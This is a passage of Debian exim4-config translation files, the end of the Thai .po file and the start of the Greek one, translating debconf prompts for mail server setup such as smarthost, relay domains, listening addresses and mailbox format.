แบบ dynamic สามารถรับเมลจากเครื่องตัวเอง " "หรือจะปิดการรับส่งเมลในเครื่องทั้งหมดเลยก็ได้ (ยกเว้นเมลของ root และ postmaster)" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "จะปล่อยระบบเมลไว้ไม่ตั้งค่าหรือไม่?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "ระบบเมลจะไม่ทำงาน และรับส่งเมลไม่ได้ จนกว่าจะถูกตั้งค่าเรียบร้อย " "การตั้งค่าเมลภายหลังสามารถทำได้ ไม่ว่าจะด้วยการแก้ไขค่าตั้งเอง หรือโดยเรียกคำสั่ง 'dpkg-" "reconfigure exim4-config' โดยผู้ใช้ root" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "ชื่อเมลของระบบ:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "'ชื่อเมล' คือชื่อโดเมนที่จะใช้กำหนดให้กับที่อยู่เมลที่ไม่ระบุชื่อโดเมน" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "ชื่อนี้จะถูกใช้โดยโปรแกรมอื่นๆ และควรจะเป็นชื่อโดเมนเต็ม (FQDN) เพียงรายการเดียว" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "ตัวอย่างเช่น ถ้าที่อยู่เมลสำหรับเครื่องของคุณเป็น foo@example.org " "ค่าที่จะใช้สำหรับตัวเลือกนี้จะเป็น example.org" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "ชื่อนี้จะไม่ปรากฏในบรรทัด From: ของเมลขาออก ถ้ามีการเปิดใช้การเรียบเรียงชื่อใหม่" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "ที่อยู่ปลายทางอื่นที่จะระบบจะรับเมล:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "กรุณาป้อนรายการโดเมน (คั่นด้วยอัฒภาค [semicolon]) ที่เครื่องนี้จะถือเป็นที่อยู่ปลายทาง " "โดเมนเหล่านี้เรียกว่า 'โดเมนท้องถิ่น' โดยโปรแกรมจะเพิ่มชื่อโฮสต์ท้องถิ่น (${fqdn}) และ " "'localhost' ต่อจากรายการที่ป้อนนี้เสมอ" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "โดยปกติ จะจัดการทุกโดเมนเหมือนกันหมด เช่น ถ้ากำหนดให้ทั้ง a.example และ b.example " "เป็นโดเมนท้องถิ่น เมลที่ส่งถึง acc@a.example และ acc@b.example จะไปถึงตำแหน่งเดียวกัน " "ถ้าต้องการให้จัดการชื่อโดเมนต่างๆ ต่างกันไป ก็จำเป็นต้องแก้ไขแฟ้มค่าตั้งในภายหลัง" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "โดเมนที่จะส่งทอด (relay) เมลให้:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "กรุณาป้อนรายการโดเมน (คั่นด้วยอัฒภาค [semicolon]) ที่เครื่องนี้จะยอมส่งทอดเมลให้ เช่น " "เพื่อใช้แทน MX หรือเกตเวย์เมล ซึ่งหมายความว่า เครื่องนี้จะรับเมลสำหรับโดเมนเหล่านี้จากที่อื่นๆ " "ในอินเทอร์เน็ต และส่งต่อให้ตามเงื่อนไขที่กำหนด" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "ไม่ต้องป้อนโดเมนท้องถิ่น และสามารถใช้ wildcard ได้" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "เครื่องที่จะส่งทอดเมลให้:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "กรุณาป้อนรายการของช่วงที่อยู่ IP (คั่นด้วยอัฒภาค [semicolon]) ที่เครื่องนี้จะส่งทอดเมลทั้งหมดให้ " "ในฐานะ smarthost" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "คุณควรใช้รูปแบบ ที่อยู่/จำนวนบิต มาตรฐาน (เช่น 194.222.242.0/24 หรือ " "5f03:1200:836f::/48)" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "ถ้าจะไม่ให้เครื่องนี้ทำหน้าที่ smarthost สำหรับเครื่องอื่น ก็ปล่อยรายการนี้ให้ว่างไว้" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "ชื่อโดเมนที่ปรากฏสำหรับผู้ใช้ท้องถิ่น:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "การซ่อนชื่อเมลท้องถิ่นในเมลขาออกถูกเปิดใช้อยู่ " "จึงจำเป็นต้องระบุชื่อโดเมนที่จะใช้ในส่วนโดเมนของที่อยู่ผู้ส่งสำหรับผู้ใช้ในเครื่อง" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "ที่อยู่ IP หรือชื่อโฮสต์ของ smarthost ขาออก:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "กรุณาป้อนที่อยู่ IP หรือชื่อโฮสต์ของเซิร์ฟเวอร์เมลที่เครื่องนี้จะใช้เป็น smarthost ขาออก ถ้าเครื่อง " "smarthost ดังกล่าวรับเมลที่พอร์ตอื่นที่ไม่ใช่ TCP/25 ให้เพิ่มทวิภาค (colon) สองตัว " "ตามด้วยหมายเลขพอร์ตต่อท้าย (ตัวอย่างเช่น smarthost.example::587 หรือ " "192.168.254.254::2525) ทวิภาคในที่อยู่ IPv6 ก็ต้องใส่ซ้อนเช่นกัน" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "หาก smarthost ขาออกที่เครื่องนี้จะใช้ ต้องการการยืนยันตัวบุคคล กรุณาอ่านแฟ้ม README ของ " "Debian โดยเฉพาะที่ /usr/share/doc/exim4-base " "เพื่อดูประเด็นเกี่ยวกับการตั้งค่าการยืนยันตัวบุคคลใน SMTP" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "ผู้รับเมล root และ postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "เมลสำหรับ 'postmaster', 'root' และบัญชีระบบทั้งหลาย " "จำเป็นต้องถูกเปลี่ยนเส้นทางไปยังบัญชีผู้ใช้ที่เป็นผู้ดูแลระบบตัวจริง" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "ถ้าคุณปล่อยค่านี้ให้ว่างไว้ เมลดังกล่าวจะถูกบันทึกไว้ใน /var/mail/mail ซึ่งไม่ขอแนะนำให้ทำเช่นนั้น" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "สังเกตว่าเมลของ postmaster ควรจะถูกอ่านในระบบเดียวกัน ไม่ใช่ส่งต่อไปยังเครื่องอื่น ดังนั้น " "ผู้ใช้ที่คุณเลือก (อย่างน้อยหนึ่งคน) จะต้องไม่เปลี่ยนเส้นทางเมลของตนออกไปยังเครื่องอื่น " "คุณสามารถใช้คำนำหน้าว่า 'real-' ได้ ถ้าจะบังคับให้ส่งเมลภายในเครื่อง" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "ถ้ามีชื่อผู้ใช้มากกว่าหนึ่งคน ให้คั่นด้วยช่องว่าง" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "ที่อยู่ IP ที่จะรอรับการเชื่อมต่อ SMTP ที่เข้ามา:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "กรุณาป้อนรายการที่อยู่ IP คั่นด้วยอัฒภาค (semicolon) ดีมอนรอรับการเชื่อมต่อ SMTP ของ Exim " "จะรอรับการเชื่อมต่อที่ที่อยู่ IP ในรายการนี้" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "ถ้าปล่อยค่านี้ว่างไว้ Exim จะรอรับการเชื่อมต่อที่อินเทอร์เฟซเครือข่ายทุกอินเทอร์เฟซที่มี" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "ถ้าเครื่องนี้รับเมลผ่านบริการในเครื่องเท่านั้น (โดยไม่ได้มาจากโฮสต์อื่น) ก็ขอแนะนำให้ปิดการเชื่อมต่อ " "Exim จากภายนอก บริการที่ว่านี้ รวมถึงโปรแกรมอ่านเมล (MUA) ที่ติดต่อกับ localhost เท่านั้น " "และรวมทั้ง fetchmail ด้วย เมื่อกำหนดค่านี้เป็น 127.0.0.1 ก็จะไม่สามารถติดต่อจากภายนอกได้อีก " "เพราะจะเป็นการปิดการรอรับการเชื่อมต่อที่อินเทอร์เฟซเครือข่ายที่เชื่อมกับอินเทอร์เน็ต" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "จำกัดจำนวนการสอบถาม DNS ให้น้อยที่สุด (เหมาะสำหรับ Dial-on-Demand) หรือไม่?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "ในการทำงานปกติ Exim จะสอบถาม DNS เมื่อเริ่มทำงาน และเมื่อรับหรือกระจายจดหมาย " "เพื่อการลงบันทึกปฏิบัติการ และเพื่อจำกัดจำนวนการใช้ตัวเลขตายตัวในแฟ้มค่าตั้ง" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "แต่ถ้าเครื่องนี้ไม่ได้มีบริการ DNS เต็มรูปแบบไว้ให้ใช้อยู่ตลอดเวลา (เช่น " "ใช้การเชื่อมต่ออินเทอร์เน็ตด้วยการหมุนโทรศัพท์ หรือใช้ dial-on-demand) " "การสอบถามดังกล่าวอาจทำให้เกิดผลกระทบที่ไม่ต้องการ เช่น เมื่อ exim เริ่มทำงาน " "หรือจัดการคิวเมล (แม้จะไม่มีข้อความรอส่ง) ก็อาจทำให้เกิดการหมุนเลขหมายอย่างฟุ่มเฟือย" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "ตัวเลือกนี้ควรใช้เมื่อระบบใช้ dial-on-demand แต่ถ้าระบบมีการเชื่อมต่ออินเทอร์เน็ตตลอดเวลา " "ก็ควรปิดตัวเลือกนี้" #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "ตั้งค่าเซิร์ฟเวอร์เมล" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "จะแยกค่าตั้งเป็นแฟ้มเล็กๆ หรือไม่?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "แพกเกจ exim4 ของเดเบียนสามารถใช้ 'ค่าตั้งแบบไม่แยกส่วน' โดยใช้แฟ้มใหญ่แฟ้มเดียว (/etc/" "exim4/exim4.conf.template) หรือใช้ 'ค่าตั้งแบบแยกส่วน' โดยค่าตั้งของ Exim " "จะได้จากการรวมแฟ้มเล็กๆ ประมาณ 50 แฟ้มใน /etc/exim4/conf.d/" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "ค่าตั้งแบบไม่แยกส่วน เหมาะกับการแก้ไขปริมาณมาก และมักจะคงที่กว่า " "ในขณะที่ค่าตั้งแบบแยกส่วนจะให้ความสะดวกในการแก้ไขเล็กๆ น้อยๆ แต่ก็เปราะบางกว่า " "และอาจพังได้ถ้ามีการแก้ไขแบบไม่ระวัง" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "มีการอภิปรายอย่างละเอียดเกี่ยวกับการใช้ค่าตั้งแบบแยกส่วนและไม่แยกส่วนในแฟ้ม README สำหรับ " "Debian โดยเฉพาะใน /usr/share/doc/exim4-base" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "จะซ่อนชื่อเมลในเมลขาออกหรือไม่?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "ข้อมูลส่วนหัวของเมลขาออก สามารถเรียบเรียงใหม่ เพื่อให้ดูเหมือนถูกส่งออกจากระบบอื่นได้ " "ถ้าเลือกตัวเลือกนี้ ค่า '${mailname}', 'localhost' และ '${dc_other_hostnames}' " "ในข้อมูลส่วน From, Reply-To, Sender และ Return-Path จะถูกเรียบเรียงใหม่" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "รูปแบบ mbox ใน /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "รูปแบบ Maildir ในไดเรกทอรีบ้าน" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "วิธีการแยกส่งเมลในเครื่อง:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "exim สามารถเก็บเมลที่แยกส่งในเครื่องได้ในหลายรูปแบบ แบบที่ใช้กันมากที่สุดคือ mbox และ " "Maildir แบบ mbox จะใช้แฟ้มเดียวเก็บเมลทุกฉบับ โดยเก็บไว้ที่ /var/mail/ ส่วนแบบ Maildir " "จะเก็บเมลแต่ละฉบับแยกแฟ้มกัน โดยเก็บไว้ที่ ~/Maildir/" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "สังเกตว่า เครื่องมือจัดการเมลส่วนใหญ่ในเดเบียน จะถือว่าการแยกส่งเมลในเครื่องเป็นแบบ mbox " "เป็นค่าปกติ" #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "จะย้ายเมลฝากส่งที่ตกค้างจาก exim 3 ไปยัง spool ของ exim4 หรือไม่?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "มีเมลตกค้างอยู่ในไดเรกทอรี spool ของ exim 3 (หรือ exim-tls 3) คือที่ /var/spool/" #~ "exim/input/" #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "การเลือกตัวเลือกนี้ จะย้ายเมลเหล่านี้ไปที่ spool ของ exim4 (/var/spool/exim4/input/) " #~ "เพื่อจะได้ให้ exim4 จัดการให้" #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "การกระทำนี้มีผลทางเดียว กล่าวคือ Exim4 สามารถทำงานกับ spool ของ exim 3 ได้ " #~ "แต่ในทางกลับกันทำไม่ได้ ถ้าคุณไม่เลือกตัวเลือกนี้ คุณจะต้องย้ายเมลดังกล่าวเอง มิฉะนั้น " #~ "จะไม่มีการส่งเมลเหล่านั้น" #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "ถ้าปล่อยว่างไว้ Exim จะไม่รับ-ส่งเมลภายใน" #~ msgid "" #~ "This works only one-way: exim4 can handle exim(v3)'s spool but not vice-" #~ "versa." #~ msgstr "" #~ "การกระทำนี้มีผลทางเดียว กล่าวคือ exim4 สามารถทำงานกับ spool ของ exim(v3) ได้ " #~ "แต่ในทางกลับกันทำไม่ได้" #~ msgid "" #~ "So it is only advisable to move the messages only if it is not planned to " #~ "go back to Exim(v3). If a rollback might be necessary, it is a better " #~ "idea to refrain from moving the messages now but moving them manually at " #~ "a later time." #~ msgstr "" #~ "จึงขอแนะนำว่า ควรย้ายเมลเหล่านี้ก็ต่อเมื่อคุณไม่มีแผนที่จะกลับไปใช้ Exim(v3) อีกเท่านั้น " #~ "ถ้าคุณยังคิดว่าจำเป็นต้องย้อนกลับไปสู่ระบบเก่าอยู่ ก็ควรงดย้ายเมลในตอนนี้ " #~ "แล้วไปย้ายเองในภายหลัง" #~ msgid "" #~ "Domains listed here need to be separated by semicolons. Wildcards may be " #~ "used." #~ msgstr "โดเมนที่ป้อนที่นี่ ควรคั่นด้วยอัฒภาค (semicolon) และสามารถใช้ wildcard ได้" #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "คุณควรย้ายเมลเหล่านี้ก็ต่อเมื่อคุณไม่มีแผนที่จะกลับไปใช้ exim(v3) อีก มิฉะนั้น " #~ "ก็ไม่ควรย้ายเมลดังกล่าวในตอนนี้ แต่ควรไปย้ายเองหลังจากที่ได้แปลงค่าตั้งเรียบร้อยแล้ว" #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "ถ้ามีโดเมนอื่นอีก กรุณาป้อนที่นี่ โดยคั่นด้วยทวิภาค (colon) หรือปล่อยว่างไว้ถ้าไม่มี" #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "กรุณาป้อนโดเมนที่คุณจะยอมส่งทอดเมลให้" #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "โดเมนดังกล่าว เป็นโดเมนที่คุณที่คุณได้เตรียมพร้อมที่จะรับเมลจากอินเทอร์เน็ต " #~ "ไม่ต้องรวมโดเมนของเครื่องคุณเองในนี้" #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "เนื่องจากคุณได้เปิดใช้การซ่อนชื่อเมลท้องถิ่นในเมลขาออก " #~ "คุณจึงต้องระบุชื่อโดเมนที่จะใช้สำหรับเมลจากผู้ใช้ท้องถิ่น โดยปกติแล้ว จะใช้ชื่อเครื่องที่คุณใช้รับเมล" #~ msgid "Where will your users read their mail?" #~ msgstr "ผู้ใช้ของคุณจะอ่านเมลที่ไหน?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "เครื่องที่จะจัดการเมลขาออกให้กับเครื่องนี้ (smarthost):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "ป้อนชื่อโฮสต์ของเครื่องที่จะใช้ส่งเมลขาออก" #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "คุณควรเปิดใช้ความสามารถนี้ถ้าคุณกำลังใช้ Dial-on-Demand มิฉะนั้นก็ควรปิด" #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "เลือกชนิดค่าตั้งที่ตรงกับความต้องการของคุณ" #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "ถ้าคุณไม่มั่นใจ คุณก็ไม่ควรใช้การแยกค่าตั้ง" #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "แปลงค่าตั้ง Exim v3 ที่เขียนเองด้วยตัวเอง" #~ msgid "Configure Exim4 manually?" #~ msgstr "จะตั้งค่า Exim4 ด้วยตัวเองหรือไม่?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "คุณระบุว่าคุณมีค่าตั้ง Exim3 ที่เขียนเอง ถ้าจะแปลงค่าตั้งดังกล่าวมายัง Exim 4 " #~ "คุณสามารถใช้คำสั่ง exim_convert4r4(8) หลังการติดตั้งนี้ได้ กรุณาอ่าน /usr/share/doc/" #~ "exim4-base/examples/example.conf.gz และ /usr/share/doc/exim4-base/README." #~ "Debian.gz ประกอบ" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "จนกว่าคุณจะตั้งค่าระบบเมลเรียบร้อย ระบบเมลของคุณจะไม่ทำงาน และรับส่งเมลไม่ได้" #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "\"ชื่อเมล\" ของคุณ คือส่วนชื่อโฮสต์ของที่อยู่ที่จะแสดงในเมลและข่าวที่ส่งออกไป " #~ "(ตามหลังชื่อผู้ใช้และเครื่องหมาย @) ถ้าไม่ถูกซ่อนหรือถูกเรียบเรียงใหม่" #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "กรุณาป้อนเครือข่ายของเครื่องท้องถิ่นที่คุณจะส่งทอดเมลให้" #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "รายการนี้ ควรรวมทุกเครื่องที่จะใช้เราเป็น smarthost" #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "คุณต้องใช้ทวิภาคซ้อน (double colon) กับที่อยู่ IPv6 (เช่น 5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "ป้อนรายการที่อยู่ IP ที่จะรอรับการเชื่อมต่อ โดยคั่นด้วยทวิภาค (colon) คุณต้องใช้ทวิภาคซ้อน " #~ "(double colon) กับที่อยู่ IPv6 (เช่น 5f03::1200::836f::::)" #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "กำลังตั้งค่า Exim v4 (exim4-config)" debian/po/el.po0000644000000000000000000010251112027557533010555 0ustar # translation of exim4_debian_po_el.po to Greek # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans# # Developers do not need to manually edit POT or PO files. # # Konstantinos Margaritis , 2003, 2004. # Greek Translation Team , 2005. # QUAD-nrg.net , 2006. # quad-nrg.net , 2008. msgid "" msgstr "" "Project-Id-Version: exim4_debian_po_el\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2008-08-26 12:34+0300\n" "Last-Translator: quad-nrg.net \n" "Language-Team: Greek \n" "Language: el\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Διαγραφή των μηνυμάτων στον κατάλογο spool που δεν έχουν παραδοθεί;" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Υπάρχουν μηνύματα στον κατάλογο spool του Exim /var/spool/exim4/input/ που " "δεν έχουν παραδοθεί ακόμη. Η αφαίρεση του Exim θα έχει σαν αποτέλεσμα την μη " "παράδοσή τους μέχρι την επανεγκατάστασή του." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Αν δεν κάνετε αυτή την επιλογή, ο κατάλογος spool θα διατηρηθεί, " "επιτρέποντας την παράδοση των μηνυμάτων που βρίσκονται στην ουρά σε μια " "μεταγενέστερη χρονική στιγμή, μετά την επανεγκατάσταση του Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Να γίνει επαναρύθμιση του exim4-config αντί αυτού του πακέτου" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Η ρύθμιση του Exim4 γίνεται με ένα συγκεκριμένο πακέτο ειδικά για τον σκοπό " "αυτό, το exim4-config. Για να επαναρυθμίσετε το Exim4, χρησιμοποιήστε την " "εντολή 'dpkg-reconfigure exim4-config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "δικτυακός τόπος (internet) - λήψη και αποστολή μέσω SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "αλληλογραφία με χρήση smarthost - λήψη μέσω SMTP ή fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "αλληλογραφία με χρήση smarthost - χωρίς τοπική παράδοση αλληλογραφίας" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a 